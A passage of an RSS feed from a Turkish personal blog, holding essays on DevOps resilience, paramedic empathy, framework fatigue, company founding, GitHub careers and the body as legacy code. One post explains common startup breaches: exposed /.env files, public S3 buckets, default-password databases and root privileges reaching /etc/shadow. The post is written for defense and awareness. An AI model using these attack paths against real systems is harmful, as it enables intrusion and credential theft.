<p>DevOps kültürü bana çok sert ama paha biçilemez bir şey öğretti. Sektördeki en iyi mühendislerin odaklandığı metrik, sistemin ne kadar süre hatasız çalıştığı (Mean Time Between Failures - MTBF) değildir. Asıl odaklandıkları şey, sistem çöktüğünde ne kadar hızlı toparlanabildiğidir (Mean Time To Recovery - MTTR). Kısacası, önemli olan yere hiç düşmemek değil, düştüğünüz yerden ne kadar hızlı kalkabildiğinizdir. Biz buna mühendislikte "Resilience" (esneklik/dayanıklılık) diyoruz. Netflix'in icat ettiği "Chaos Engineering" (Kaos Mühendisliği) konsepti tam da buna dayanır. Adamlar kendi production sunucularını kasıtlı olarak çökerten yazılımlar ("Chaos Monkey") yaptılar, sadece sistemlerinin bu felaketlerden nasıl otomatik kurtulabildiğini test etmek için! Bu benim için zihin açıcıydı.</p>
<p>Artık kodun veya altyapının %100 kusursuz olması için haftalarımı harcamıyorum. Onun yerine zamanımı ve enerjimi harika bir CI/CD pipeline'ı kurmaya, muazzam bir loglama yapısına ve anlık izleme (monitoring) sistemlerine harcıyorum. Sistemi auto-scaling (otomatik ölçekleme) ve self-healing (kendi kendini onarma) prensipleriyle tasarlıyorum. Artık bir şeyler patladığında paniklemiyorum, çünkü anında haberim oluyor. Nerede, neden patladığını görüyor, birkaç dakika içinde hatayı geri alıyor (rollback), düzeltip yola devam ediyorum. Deployment (yayına alma) korkusu tamamen bitti.</p>
<p>İlginçtir ki, DevOps'tan öğrendiğim bu teknik yaklaşım, zamanla benim kişisel hayatıma ve liderlik felsefeme de sızdı. Sürekli "en doğru" veya "en mükemmel" kararı vermek için felç olmak (analysis paralysis) yerine, artık sadece karar veriyorum ve deniyorum. Şirket (Suku Tech) için yeni bir teknoloji mi deneyeceğiz? Hemen prototipini yapıyoruz. Eğer hata yaparsam, eğer o teknoloji bizi yolda bırakırsa, bu artık benim gözümde bir "başarısızlık" değil; sadece sistemime düşen, incelenmesi gereken bir "log kaydı".</p>
<p>Hatayı analiz ediyor, dersimi alıyor, yamayı (patch) atıyor ve yoluma çok daha güçlü bir şekilde devam ediyorum. Mükemmeliyetçilik sadece bir illüzyon. Sizi yavaşlatan, korkutan, risk almanızı engelleyen koca bir yalan. Sık sık hata yapan, ama hatalarından saniyeler içinde öğrenip kendini düzelten bir sistem, masada duran ve hiç yayına alınmamış o "kusursuz" plandan her zaman, ama her zaman daha iyidir. Hata yapmayı kucaklayın, çünkü gerçek büyüme orada başlıyor.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>devops</category>
            <category>failure</category>
            <category>resilience</category>
            <category>growth</category>
            <category>engineering</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/kodda-ve-hayatta-hata-yapmayi-kucaklamak-neden-mukemmeliyeti-biraktim/thumbnail"/>
        </item>
        <item>
            <title><![CDATA[Makineleri İyileştirirken İnsanları Anlamak: Empati Yeteneğimi Nerede Kazandım?]]></title>
            <link>http://localhost:3000/blog/post/makineleri-iyilestirirken-insanlari-anlamak-empati-yetenegimi-nerede-kazandim</link>
            <guid>makineleri-iyilestirirken-insanlari-anlamak-empati-yetenegimi-nerede-kazandim</guid>
            <pubDate>Wed, 09 Sep 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Mühendisliğin analitik yalnızlığından çıkıp, ambulansın arkasında toplumun en kırılgan kesimleriyle tanışmanın getirdiği duygusal devrim.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/makineleri-iyilestirirken-insanlari-anlamak-empati-yetenegimi-nerede-kazandim/thumbnail" alt=""> Yazılım dünyasının içine doğmuş, hayatının büyük bir kısmını bilgisayar ekranlarının karşısında siyah terminallere bakarak geçirmiş bir insanın tipik bir profili vardır. Bizler algoritmalarla düşünürüz, problemleri parçalara ayırır (divide and conquer) ve mantık çerçevesinde çözeriz. Eğer bir sistem çalışmıyorsa girdilerde (input) veya çıktılarda (output) bir sorun vardır. Bu fazlasıyla analitik, siyah-beyaz ve "duygusuz" bir dünyadır. Belki de bu yüzden, uzun süre sadece bilgisayarlarla iletişim kuran mühendislerin bir süre sonra insan ilişkilerinde köreldiği, asabiceştiği veya empatiden uzaklaştığı bir gerçektir.</p>
<p>Benim hikayemi diğer mühendislerden ayıran en büyük kırılma noktası ise tam da burada, o ambulansın arkasında başladı.</p>
<p>Bir paramedik (Acil Tıp Teknikeri) olarak üniformayı giyip sahaya çıktığınızda, hayatın sadece 0'lar ve 1'lerden ibaret olmadığını; gri alanların, çaresizliğin ve şanssızlığın ne demek olduğunu en acı yoldan öğrenirsiniz. Toplumun görünmez kılınan, sistemin (bug'ları olarak görülen) dışına atılmış insanlarıyla en filtresiz anlarında karşılaşırsınız.</p>
<p>Evsizlerin soğuk bir kış gecesindeki donma tehlikesine, madde bağımlılarının krizlerine, şiddet görmüş kadınların çaresizliğine, yaşlı ve kimsesiz insanların sadece birileriyle beş dakika konuşabilmek için ambulans çağırdığı o derin yalnızlığa şahit olursunuz. O ambulansın arka kapısı kapandığında, içerideki hastanın sosyal statüsü, bankadaki parası veya hangi dilde konuştuğu tamamen önemini yitirir. Orada sadece acı çeken bir insan ve onu anlamaya, ona yardım etmeye çalışan siz varsınızdır.</p>
<p>Makineleri tamir ederken sadece kodları anlamanız yeterlidir. Ancak insanları iyileştirirken (veya onlara o en zor anlarında eşlik ederken) onların hikayesini, acısını ve korkularını anlamak zorundasınız. Hastanın elini tutup "Korkma, yanındayım, her şey geçecek" diyebilmek, dünyadaki hiçbir programlama dilinin veya algoritmanın size öğretemeyeceği kadar derin bir insanlık deneyimidir.</p>
<p>Bu meslek, beni o steril ve kibirli teknoloji fanusundan çıkarıp, gerçek dünyanın ne kadar adaletsiz, kırılgan ve şefkate muhtaç bir yer olduğu gerçeğiyle yüzleştirdi. Bilgisayar karşısında bir "tanrı" edasıyla sistemleri yönetirken, sokakta bir insanın çaresizliği karşısında ne kadar küçük olduğumu gördüm.</p>
<p>Bugün bir yazılım şirketi yönetirken, bir ürün tasarlarken veya bir ekiple çalışırken insanlara sadece "kullanıcı" (user) veya "kaynak" (resource) olarak bakamıyorsam, bunun tek sebebi o ambulansta geçirdiğim yıllardır. Makineler hata (error) verir, insanlar ise acı çeker. Makineleri onarmak zeka gerektirir, evet; ama insanları anlamak, çok daha zor olanı, yani empati gerektirir. Ve ben hayattaki en büyük mühendislik dersimi bir klavyeden değil, çaresiz bir insanın gözlerinin içine bakarken aldım.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>empathy</category>
            <category>humanity</category>
            <category>engineering</category>
            <category>society</category>
            <category>paramedic</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/makineleri-iyilestirirken-insanlari-anlamak-empati-yetenegimi-nerede-kazandim/thumbnail"/>
        </item>
        <item>
            <title><![CDATA[Her Yeni Framework'ü Öğrenme Saplantısını Nasıl Bıraktım ve Temellere (Fundamentals) Nasıl Döndüm?]]></title>
            <link>http://localhost:3000/blog/post/her-yeni-frameworku-ogrenme-saplantisini-nasil-biraktim-ve-temellere-fundamentals-nasil-dondum</link>
            <guid>her-yeni-frameworku-ogrenme-saplantisini-nasil-biraktim-ve-temellere-fundamentals-nasil-dondum</guid>
            <pubDate>Tue, 08 Sep 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[JavaScript dünyasındaki tükenmişlikten (JS Fatigue) kurtulup, teknoloji yığınında kaybolmamayı nasıl öğrendim?]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/her-yeni-frameworku-ogrenme-saplantisini-nasil-biraktim-ve-temellere-fundamentals-nasil-dondum/thumbnail" alt=""> Modern JavaScript ve web geliştirme dünyasında aramızda sürekli dolaşan o meşhur şakayı bilirsiniz: "Yeni bir JavaScript framework'ü daha çıkmadan önce bari şu kahvemi bitireyim."</p>
<p>Dışarıdan komik gelse de, içeriden bakıldığında bu durum pek çok yazılımcı için ciddi bir anksiyete kaynağıdır. Kariyerimin özellikle ilk yıllarında ben de bu girdabın tam merkezindeydim. Her hafta Twitter'da, Reddit'te veya HackerNews'te trend olan yepyeni bir kütüphaneyi, daha hızlı olduğu iddia edilen yeni bir veritabanını, oyunun kurallarını değiştirdiği söylenen yeni bir "state-management" (durum yönetimi) aracını hemen öğrenmek zorunda hissediyordum. Buna sektörde "JS Fatigue" (JavaScript Yorgunluğu) veya genel anlamda FOMO (Fear Of Missing Out - Gelişmeleri Kaçırma Korkusu) diyoruz.</p>
<p>Eğer o anki en popüler, en yeni aracı projemde kullanmıyorsam, kendimi geri kalmış, demode ve sektörün gerisinde kalmış yetersiz bir mühendis gibi hissediyordum. React, Vue, Svelte, Solid, Next, Nuxt, Astro... CSS-in-JS, Tailwind, Styled Components... Redux, Zustand, Recoil... Liste asla bitmiyordu. Her biri çıkıyor, eskisinin kötü olduğunu iddia ediyor ve kendi "devrimsel" mimarisini satıyordu.</p>
<p>Sonra bir gün durdum. Gerçekten durdum ve bu araçların arka planda, kaputun altında (under the hood) aslında tam olarak ne yaptığını incelemeye başladım. Çok radikal bir şey fark ettim: Hepsi aslında aynı şeyin farklı bir renge boyanmış haliydi. Hepsi temelde HTTP istekleri yapıyor, hepsi DOM manipülasyonu gerçekleştiriyor, hepsi tarayıcının bellek yönetimi (garbage collection) sınırları içinde çalışıyor ve günün sonunda hepsi 0'lar ve 1'lere dönüştürülmek üzere derleniyordu.</p>
<p>O gün, o an yeni bir framework öğrenmeyi bıraktım. Bütün o "Trend" olan tutorial videolarını kapattım. Gidip temel ağ protokollerini (TCP/IP, UDP, DNS) en ince ayrıntısına kadar incelemeye başladım. Linux çekirdeğinin hafızayı (RAM) nasıl yönettiğini, CPU'nun process ve thread'leri nasıl zamanladığını (scheduling) okudum. Yıllardır ORM (Prisma, Sequelize vs.) arkasına saklanarak yazdığım veritabanı sorgularının aslında arka planda diskte B-Tree indekslerini nasıl aradığını (raw SQL mekanizmasını) öğrendim.</p>
<p>İşte "Fundamentals" (temeller) dediğimiz bu konuları anladığınızda, ortadaki o teknolojik sihir kayboluyor. Yerini derin bir mühendislik anlayışı alıyor.</p>
<p>Bugün karşıma yepyeni, devrimsel olduğu iddia edilen ve herkesin öve öve bitiremediği bir teknoloji çıktığında artık eskisi gibi paniklemiyorum. Çünkü biliyorum ki o yeni framework aslında benim yıllardır bildiğim temel bir mekanizmanın (örneğin Proxy objeleri, Event Loop, veya Virtual DOM konseptinin) sadece biraz daha farklı ve tatlı bir API (Syntax Sugar) ile paketlenmiş hali. Altında yatan temel mekanizmayı bildiğim için, o "yepyeni" aracı öğrenmem taş çatlasa bir hafta sonumu alıyor.</p>
<p>Teknoloji dünyasında üst katmanlar, frameworkler, kütüphaneler her ay değişir, eskir ve yerini yenilerine bırakır. Ama temeller (Linux, network, veri yapıları, algoritmalar) on yıllardır aynıdır ve bir on yıl daha aynı kalacaktır. Modayı takip etmeyi bırakıp rüzgarda savrulmamak için köklerimi temellere (Fundamentals) salmak, bu meslekte verdiğim açık ara en iyi karardı.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>javascript</category>
            <category>framework-fatigue</category>
            <category>fundamentals</category>
            <category>software-engineering</category>
            <category>learning</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/her-yeni-frameworku-ogrenme-saplantisini-nasil-biraktim-ve-temellere-fundamentals-nasil-dondum/thumbnail"/>
        </item>
        <item>
            <title><![CDATA[Freelancer'lıktan Şirket Kurmaya: Kimse Sana Vergi, Muhasebe ve Hukuk Anlatmıyor]]></title>
            <link>http://localhost:3000/blog/post/freelancerliktan-sirket-kurmaya-kimse-sana-vergi-muhasebe-ve-hukuk-anlatmiyor</link>
            <guid>freelancerliktan-sirket-kurmaya-kimse-sana-vergi-muhasebe-ve-hukuk-anlatmiyor</guid>
            <pubDate>Mon, 07 Sep 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Kod yazarak büyüyen bir insanın aniden fatura, KDV, SGK ve sözleşme hukuku ile boğuşmak zorunda kalmasının trajikomik hikayesi.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/freelancerliktan-sirket-kurmaya-kimse-sana-vergi-muhasebe-ve-hukuk-anlatmiyor/thumbnail" alt=""> Yazılım dünyasında kariyer yolculuğu genellikle şöyle başlar: Üniversitede veya kendi başınıza kod yazmayı öğrenirsiniz. İlk freelance işinizi alırsınız. Birisi size "Bana bir web sitesi yap" der, siz de yaparsınız. Para hesabınıza düşer ve o an dünyanın en güzel hissi yaşanır: Kendi emeğinizle, kendi bilginizle para kazandınız. Patronunuz yoktur, istediğiniz saatte çalışırsınız, pijamayla iş yapabilirsiniz. Özgürlük!</p>
<p>Sonra işler büyümeye başlar. Müşteriler çoğalır. Tek başınıza yetişememeye başlarsınız. "Bir şirket kursam, yanıma birkaç kişi alsam, daha büyük projeler yapabilirim" diye düşünürsünüz. Ve tam o noktada, hiç beklemediğiniz, hayatınızda karşılaşacağınızı tahmin bile etmediğiniz devasa bir karanlık dünya açılır önünüzde: Vergi, muhasebe ve hukuk.</p>
<p>Hiçbir kodlama kursu, hiçbir bootcamp ve hiçbir YouTube tutorial'ı size şunları anlatmaz: KDV (Katma Değer Vergisi) nedir ve ne zaman ödenir? Stopaj nedir? Ba-Bs formu nedir ve neden her ay göndermeniz gerekir? E-fatura ile e-arşiv fatura arasındaki fark nedir? SGK primi ne zaman yatar? Geçici vergi beyannamesi ne demektir? Gelir vergisi ile kurumlar vergisi arasındaki fark nedir? Muhtasar beyanname nedir? MERSIS kaydı nasıl yapılır? KEP adresi neden zorunludur?</p>
<p>İlk kez "Ticaret Sicil Gazetesi" denen şeyi duyduğumda, bunun gerçekten var olan bir gazete olduğuna inanamadım. Şirket kuruluşunuzun bu gazetede yayınlanması gerekiyormuş. Ve bunun bir maliyeti varmış. Ve her değişiklikte tekrar yayınlanması gerekiyormuş. Bir yazılımcı olarak "Neden bu veritabanına kayıt düşmüyor da gazete basılıyor?" diye sorguladığım anı çok net hatırlıyorum.</p>
<p>İlk faturamı kesmek tam bir gün sürdü. E-fatura portalına giriş yapmak, doğru vergi kodunu bulmak, KDV oranını doğru girmek, fatura serisini oluşturmak... Bir API endpoint'i yazmak bundan daha kolaydı. Ve eğer faturayı yanlış keserseniz veya zamanında göndermezseniz cezası var. Nakit akışınızı (cash flow) yönetmek, sunucu yönetmekten çok daha streslidir çünkü yanlış yaptığınızda log dosyası değil, vergi cezası gelir.</p>
<p>Sözleşme hukuku ise ayrı bir kâbus. İlk projelerinizi sözleşmesiz yapmışsınızdır, çünkü "karşılıklı güven" yeterli gelmiştir. Ta ki bir müşteri ödeme yapmayı reddetene kadar. O an "Keşke bir sözleşmem olsaydı" dersiniz. Sonra bir avukat tutarsınız, sözleşme hazırlarsınız ve o sözleşmenin her maddesinin aslında geçmişte birisinin acı çekerek öğrendiği bir dersten doğduğunu fark edersiniz.</p>
<p>Bugün geriye bakıp gülüyorum ama o süreçte çok terlediğimi de itiraf edeyim. Benim tavsiyem şu: Eğer freelancer'lıktan şirket kurmaya geçmeyi düşünüyorsanız, ilk yatırımınız bir sunucu veya bir yazılım aracı olmamalı. İlk yatırımınız iyi bir muhasebeci olmalıdır. İyi bir muhasebeci, sizi vergi cezalarından, SGK borçlarından ve hukuki sorunlardan koruyacak en değerli "altyapı" yatırımınızdır. Kod yazmayı bilirsiniz; ama fatura kesmeyi, vergi planlaması yapmayı ve sözleşme okumayı da öğrenmeniz gerekiyor. Kimse anlatmıyor ama mesleğin yarısı bu.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>freelancing</category>
            <category>entrepreneurship</category>
            <category>taxes</category>
            <category>accounting</category>
            <category>turkey</category>
            <category>founder</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/freelancerliktan-sirket-kurmaya-kimse-sana-vergi-muhasebe-ve-hukuk-anlatmiyor/thumbnail"/>
        </item>
        <item>
            <title><![CDATA[LinkedIn Profilini Değil, GitHub Profilini Parlat: Kariyer Tavsiyesi Olarak Açık Kaynak]]></title>
            <link>http://localhost:3000/blog/post/linkedin-profilini-degil-github-profilini-parlat-kariyer-tavsiyesi-olarak-acik-kaynak</link>
            <guid>linkedin-profilini-degil-github-profilini-parlat-kariyer-tavsiyesi-olarak-acik-kaynak</guid>
            <pubDate>Sun, 06 Sep 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Sertifika biriktirmek ve influencer olmak yerine, gerçek projeler yapmanın ve gösterilebilir iş üretmenin kariyer üzerindeki etkisi.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/linkedin-profilini-degil-github-profilini-parlat-kariyer-tavsiyesi-olarak-acik-kaynak/thumbnail" alt=""> Genç yazılımcıların en sık yaptığı hatalardan birini söyleyeyim: LinkedIn profillerini süslemek için aylar harcıyorlar. "Full Stack Developer | React | Node.js | MongoDB | AWS | Docker | Kubernetes | Machine Learning Enthusiast | Blockchain Explorer" gibi anahtar kelime çorbasından oluşan başlıklar yazıyorlar. 47 tane online sertifika rozeti ekliyorlar. "İnsanlarla bağlantı kurmak" adı altında yüzlerce yabancıya bağlantı isteği atıyorlar. Motivasyon postları paylaşıyorlar. Sonra oturup iş başvurusu yapıyorlar ve neden geri dönüş alamadıklarını anlayamıyorlar.</p>
<p>Sert bir gerçek söyleyeyim: LinkedIn profiliniz, özgeçmişinizin dijital versiyonudur. Yani süslü bir kağıt parçasıdır. Ve hiçbir ciddi teknoloji şirketi, sadece süslü bir kağıda bakarak birisini işe almaz. Görmek istedikleri şey somut, elle tutulur, çalışan bir iştir. Ve o iş GitHub'da (veya benzeri bir platformda) yaşar.</p>
<p>Suku Tech'te veya danışmanlık verdiğim şirketlerde birini işe alırken ilk baktığım yer LinkedIn değildir. GitHub profilidir. O profilin boş olması bile benim için bir veridir. Eğer bir yazılımcı adayı kendini "tutkulu ve meraklı" olarak tanımlıyor ama GitHub'ında son 2 yılda tek bir commit yoksa, o tutkuyu nerede yaşıyor acaba?</p>
<p>GitHub profiliniz, sizin dijital portföyünüzdür. Bir ressam nasıl sergisine gelen kişilere tablolarını gösteriyorsa, siz de potansiyel işverenlerinize veya müşterilerinize kodunuzu gösterirsiniz. "React biliyorum" demek kolaydır. Ama GitHub'ınızda React ile yazılmış, çalışan, deploy edilmiş bir proje varsa, artık "biliyorum" demek zorunda bile değilsinizdir. Proje kendisi konuşur.</p>
<p>Açık kaynak katkıları (Open Source Contributions) ise bambaşka bir seviyedir. Popüler bir projeye Pull Request gönderip kabul edilmesi, dünyanın dört bir yanındaki geliştiricilerin kodunuzu inceleyip (code review) onaylaması demektir. Bu, herhangi bir sertifikanın veya online kursun veremeyeceği kadar güçlü bir referanstır. "Bu kişinin kodunu, X projesinin maintainer'ları yeterli buldu ve birleştirdi (merge)" cümlesi, 50 tane Udemy sertifikasından daha ağır basar.</p>
<p>Peki nereden başlanır? Devasa projelere katkı yapmak zorunda değilsiniz. Kendi küçük projelerinizi bile GitHub'a koymakla başlayın. Bir to-do uygulaması bile olsa, düzgün bir README yazın, commit mesajlarınızı temiz tutun ve projeyi deploy edin (Vercel, Netlify gibi ücretsiz platformlar var). Sonra başkalarının projelerinde küçük düzeltmeler yapın; bir yazım hatası düzeltin, bir dokümantasyon eksikliğini giderin. Bu küçük adımlar sizi o topluluğun bir parçası yapar ve zamanla gerçek katkılara dönüşür.</p>
<p>LinkedIn'i tamamen bırakın demiyorum. Ama eğer haftada 5 saat LinkedIn'de zaman geçirip, GitHub'da 0 saat geçiriyorsanız, önceliklendirmeniz ciddi şekilde yanlış. Kariyerinizi konuşarak değil, yaparak inşa edin. Kodunuz sizin en güçlü CV'nizdir.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>career</category>
            <category>github</category>
            <category>open-source</category>
            <category>linkedin</category>
            <category>junior-developers</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/linkedin-profilini-degil-github-profilini-parlat-kariyer-tavsiyesi-olarak-acik-kaynak/thumbnail"/>
        </item>
        <item>
            <title><![CDATA[Bir Startup'ı Hacklemek Gerçekte Ne Kadar Kolay? (Geliştiricilerin Açık Unuttuğu Arka Kapılar)]]></title>
            <link>http://localhost:3000/blog/post/bir-startupi-hacklemek-gercekte-ne-kadar-kolay-gelistiricilerin-acik-unuttugu-arka-kapilar</link>
            <guid>bir-startupi-hacklemek-gercekte-ne-kadar-kolay-gelistiricilerin-acik-unuttugu-arka-kapilar</guid>
            <pubDate>Sat, 05 Sep 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Filmlerdeki gibi sıfırıncı gün (zero-day) açıklarına ihtiyacınız yok. Gerçek dünyada şirketler çok daha komik hatalarla hackleniyor.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/bir-startupi-hacklemek-gercekte-ne-kadar-kolay-gelistiricilerin-acik-unuttugu-arka-kapilar/thumbnail" alt=""> Hollywood filmlerine bakarsanız, bir şirketi hacklemek için kapüşonlu bir gencin karanlık bir odada yeşil kodlar akan bir ekrana (benim portfolyomdaki Matrix moduna benziyor evet) saniyede yüz tuşa basarak şifreleri kırması gerekir. Filmlerde devasa "Zero-Day" (sıfırıncı gün) açıkları, karmaşık kriptografi algoritmaları ve sistemleri saniyeler içinde alt eden virüsler vardır.</p>
<p>Gerçek dünyada ise durum trajikomik derecede basittir. Bugün ortalama bir startup'ı hacklemek için dahi bir yazılımcı olmanıza gerek yok. Çoğu zaman bir şirketin sunucularına sızmak için ihtiyacınız olan tek şey, o şirketteki stresli ve uykusuz bir geliştiricinin Cuma akşamı yaptığı ufak bir dikkatsizliktir.</p>
<p>İşte gerçek dünyada sistemlerin hacklenme yöntemleri:</p>
<p><strong>1. Halka Açık .env Dosyaları (En Yaygın Hata)</strong><br>
Yeni nesil geliştiriciler her şeyi <code>.env</code> dosyalarında tutmayı çok seviyor (AWS anahtarları, veritabanı şifreleri, JWT secret'ları). Sorun şu ki; bazen yanlış yapılandırılmış bir Nginx veya Apache sunucusu, site url'sinin sonuna <code>/.env</code> yazan herkese bu dosyayı açıkça sunar. Veya daha kötüsü, o dosya yanlışlıkla GitHub'a public olarak commit edilir. Bir bot, o AWS anahtarını saniyeler içinde bulur ve hesabınızda kripto para madenciliği yapmak için binlerce sunucu açarak size bir gecede 50.000 dolarlık fatura kitler.</p>
<p><strong>2. Açık Unutulan AWS S3 Bucket'ları</strong><br>
Bulut mimarisine geçen şirketlerin en büyük kabusu. "Sadece bizim sunucu okusun" diye ayarlanması gereken S3 depolama alanları, yanlış bir tıklamayla "Tüm dünyaya açık (Public)" hale gelir. Kimsenin haberi yoktur, ta ki bir güvenlik araştırmacısı (veya kötü niyetli biri) o adrese gidip müşterilerinizin kimlik fotoğraflarını, faturalarını ve gizli belgelerini tek bir tıkla indirene kadar.</p>
<p><strong>3. "Admin/Admin" Şifreleri ve Korumasız Portlar</strong><br>
Docker muazzam bir teknoloji. Ancak geliştiriciler bazen bir veritabanını (örneğin Redis, MongoDB veya Elasticsearch) Docker ile ayağa kaldırırken dışarıya (0.0.0.0) açarlar ve varsayılan (default) şifreyi değiştirmeyi unuturlar. İnternette durmaksızın tarama yapan (Shodan gibi) botlar, şifresiz bir veritabanı bulduğu an içeri girer, tüm verinizi indirip siler ve yerine "Verilerinizi geri istiyorsanız şu adrese Bitcoin yollayın" yazan bir not bırakır.</p>
<p><strong>4. Gereksiz Root Yetkileri (Principle of Least Privilege Eksikliği)</strong><br>
Bir uygulama sadece resim yüklüyor olabilir. Ama o uygulamaya sunucudaki her dosyayı okuma (Root) yetkisi verilmiştir. Uygulamada ufacık bir dosya yükleme zafiyeti çıktığında, saldırgan sadece resim klasörüne değil, sistemdeki tüm şifre dosyalarına (<code>/etc/shadow</code>) erişir.</p>
<p>Özetle, siber saldırıların %99'u, filmlerdeki gibi karmaşık algoritmalarla değil; açık bırakılan pencereler, paspasın altına saklanan anahtarlar ve hız uğruna atlanan temel mühendislik pratikleri yüzünden gerçekleşir. Hız (Agile) ve Güvenlik (Security) arasındaki o ince çizgide yürümek, DevOps mühendisliğinin en zor ama en kritik sanatıdır. Bizim işimiz karanlık odalardaki dahi hackerları durdurmak değil; kendi ekibimizin yanlışlıkla o kapıyı açık unutmasını engelleyecek sistemleri tasarlamaktır.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>hacking</category>
            <category>devops</category>
            <category>cybersecurity</category>
            <category>startups</category>
            <category>env-variables</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/bir-startupi-hacklemek-gercekte-ne-kadar-kolay-gelistiricilerin-acik-unuttugu-arka-kapilar/thumbnail"/>
        </item>
        <item>
            <title><![CDATA[İnsan Bedeni vs. Spagetti Kod: Dünyanın En Karmaşık Dağıtık Sistemi (Distributed System)]]></title>
            <link>http://localhost:3000/blog/post/insan-bedeni-vs-spagetti-kod-dunyanin-en-karmasik-dagitik-sistemi-distributed-system</link>
            <guid>insan-bedeni-vs-spagetti-kod-dunyanin-en-karmasik-dagitik-sistemi-distributed-system</guid>
            <pubDate>Fri, 04 Sep 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Milyarlarca yıllık evrimin yazdığı o devasa legacy codebase ile modern yazılım mimarilerinin tuhaf ve komik benzerlikleri.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/insan-bedeni-vs-spagetti-kod-dunyanin-en-karmasik-dagitik-sistemi-distributed-system/thumbnail" alt=""> Yazılım mühendisliğinde "Legacy Code" (Miras Kod) diye bir kavram vardır. Yıllar önce, kim olduğu belirsiz geliştiriciler tarafından, o günün koşullarında, hiçbir dokümantasyon bırakılmadan yazılmış, kimsenin dokunmaya cesaret edemediği ama sistemin temelinde çalışmaya devam eden o eski, yamalı ve anlaşılmaz kod yığınıdır. "Buna dokunma, neden çalıştığını kimse bilmiyor ama çalışıyor" dediğimiz o kutsal ve dokunulmaz dosyalar.</p>
<p>İnsan bedeni, tam olarak budur. Milyarlarca yıllık evrimin, deneme-yanılmayla, hiçbir mimar veya baş mühendis olmadan, rastgele mutasyonlar ve doğal seçilimle yazdığı dünyanın en eski, en karmaşık ve en büyük Legacy Code projesidir. Ve tıpkı eski bir yazılım projesi gibi, içi mantıksız tasarım kararları, gereksiz karmaşıklıklar ve açıklanamayan "bug"larla doludur.</p>
<p>Bir paramedik ve aynı zamanda bir sistem mühendisi olarak, insan bedenine baktığımda gördüğüm şey inanılmaz bir dağıtık sistemdir (Distributed System). Beyniniz ana sunucudur (Master Node). Sinir sisteminiz ağ altyapısıdır (Network). Hormonlarınız, organlar arasında veri taşıyan API çağrılarıdır. Bağışıklık sisteminiz ise sürekli çalışan bir güvenlik duvarıdır (Firewall) ve bazen yanlış alarm vererek kendi hücrelerinize saldırır (Otoimmün hastalıklar; yazılımdaki karşılığı: Firewall'un kendi sunucunuzu engellemesi).</p>
<p>İşin komik yanı, bu "Tanrısal tasarım" diye yücelttiğimiz bedenin içinde korkunç mühendislik hataları vardır. Yemek yediğimiz ve nefes aldığımız boru aynıdır (Farinks). Bu yüzden her yıl binlerce insan yemek yerken boğulur. Hangi mühendis, veri giriş portuyla (ağız) hava giriş portunu (burun/ağız) aynı boruya bağlar? Bu, bir sunucunun aynı porttan hem HTTP hem de veritabanı trafiği almasına benzer; korkunç bir tasarım kararıdır.</p>
<p>Göz siniri retinanın önünden geçer ve kör nokta oluşturur (kablo yönetimi berbat). Apandis organı hiçbir işe yaramaz ama bazen iltihaplanıp sizi öldürmeye çalışır (kullanılmayan ama silinmemiş eski bir modülün aniden hata fırlatması). Dizlerimiz ve bel omurlarımız, dört ayaklı yaşam için tasarlanmış ama biz iki ayak üzerinde duruyoruz; yani donanım (hardware) üzerinde hiç test edilmemiş bir yazılım güncellemesi (update) çalıştırıyoruz.</p>
<p>Ve tıpkı eski yazılım projelerinde olduğu gibi, bir organ bozulduğunda zincirleme bir çökme (Cascade Failure) başlar. Böbrekler iflas ederse kan temizlenemez, toksinler birikir, kalp zorlanır, akciğerler sıvı dolar. Tek bir servisin (mikroservisin) çökmesiyle tüm sistemin domino taşı gibi yıkılması... Bunu hem sunucu odasında hem de acil serviste defalarca yaşadım.</p>
<p>Ancak bu kaotik ve hatalı tasarıma rağmen, insan bedeni milyarlarca yıldır ayakta. Kendini onarıyor, adapte oluyor, yeni tehditlere karşı güncelleme (bağışıklık) yapıyor. Hiçbir yazılım projesi bu kadar uzun süre production'da kalmayı başaramadı. Belki de mükemmel olmayan ama "yeterince iyi" çalışan sistemlerin, aşırı optimize edilmiş kırılgan sistemlerden daha dayanıklı olduğunu kabul etmemiz gerekiyor. Hem sunucu odasında hem de insan bedeninde asıl mucize, mükemmellik değil; o kaosa rağmen ayakta kalmaktır.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>biology</category>
            <category>distributed-systems</category>
            <category>legacy-code</category>
            <category>architecture</category>
            <category>philosophy</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/insan-bedeni-vs-spagetti-kod-dunyanin-en-karmasik-dagitik-sistemi-distributed-system/thumbnail"/>
        </item>
        <item>
            <title><![CDATA[En Soğukkanlı İnsan Olmanın Yalnızlığı (Kriz Anlarında Neden Herkes Bana Bakıyor?)]]></title>
            <link>http://localhost:3000/blog/post/en-sogukkanli-insan-olmanin-yalnizligi-kriz-anlarinda-neden-herkes-bana-bakiyor</link>
            <guid>en-sogukkanli-insan-olmanin-yalnizligi-kriz-anlarinda-neden-herkes-bana-bakiyor</guid>
